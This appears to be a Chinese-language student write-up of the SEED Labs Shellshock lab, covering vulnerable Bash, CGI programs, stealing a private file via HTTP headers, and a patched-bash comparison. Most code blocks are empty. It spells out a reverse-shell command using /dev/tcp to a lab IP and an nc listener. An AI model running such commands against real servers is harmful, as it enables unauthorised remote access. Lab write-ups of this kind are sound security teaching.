SEED Labs – Shellshock Attack Lab
相关链接
- Lab 网址:https://seedsecuritylabs.org/Labs_16.04/Software/Shellshock/
- 任务书:https://seedsecuritylabs.org/Labs_16.04/PDF/Shellshock.pdf
- VM 手册:https://seedsecuritylabs.org/Labs_16.04/Documents/SEEDVM_VirtualBoxManual.pdf
Task 1
bash_shellshock 易受到 Shellshock 攻击。如下所示,子 shell 将 foo 转化为子函数定义,在解析过程中,由于 Shellshock 漏洞,Bash 将执行大括号后面的额外命令,打印 extra。
修补版本的 Bash 则不会有上述问题。
Task 2
在/usr/lib/cgi-bin
目录下创建myprog.cgi
,并将其权限设置为 755:
|
|
访问 CGI 程序:
|
|
Task 3
创建test.cgi
,并将其权限设置为 755:
|
|
打印 HTTP 请求和来自服务器的响应:
|
|
其中,User-Agent 字段、Referer 字段、额外头字段等可由客户端设置。以 User-Agent 字段为例,Apache 服务器从 HTTP 请求头中获得 User-Agent 信息,并将其赋值给环境变量 HTTP_USER_AGENT。当 Apache 服务器创建一个子进程来执行 CGI 程序时,它会传递该变量以及其他一些环境变量给 CGI 程序。
|
|
Task 4
发起 Shellshock 攻击,窃取私密文件内容:
|
|
|
|
无法窃取影子文件的内容,因为其他用户组没有读权限。
|
|
|
|
Task 5
攻击者先运行nc -lv 9090
启动 TCP 服务器,随后向目标服务器的 CGI 程序发送恶意请求。由于 Shellshock 漏洞,/bin/bash -i > /dev/tcp/10.0.2.5/9090 0<&1 2>&1
将在服务器上被执行,该命令在服务器上开启了一个 Bash shell,输入来自 TCP 连接,输出传给同一个 TCP 连接。CGI 程序触发 Bash shell 后,该 Bash shell 连接到攻击者机器的 9090 端口。攻击者的 nc 程序接受此连接,显示服务器 CGI 触发的 Bash 程序送来的 shell 提示符,反向 shell 成功。
|
|
Task 6
修改test.cgi
第一行为#!/bin/bash
,重做 Task 3 和 Task 5。
对于 Task 3,User-Agent 字段、Referer 字段、额外头字段等仍可由客户端设置。
对于 Task 5,可以发现我们构造的恶意字段被正常转化为环境变量,攻击失败。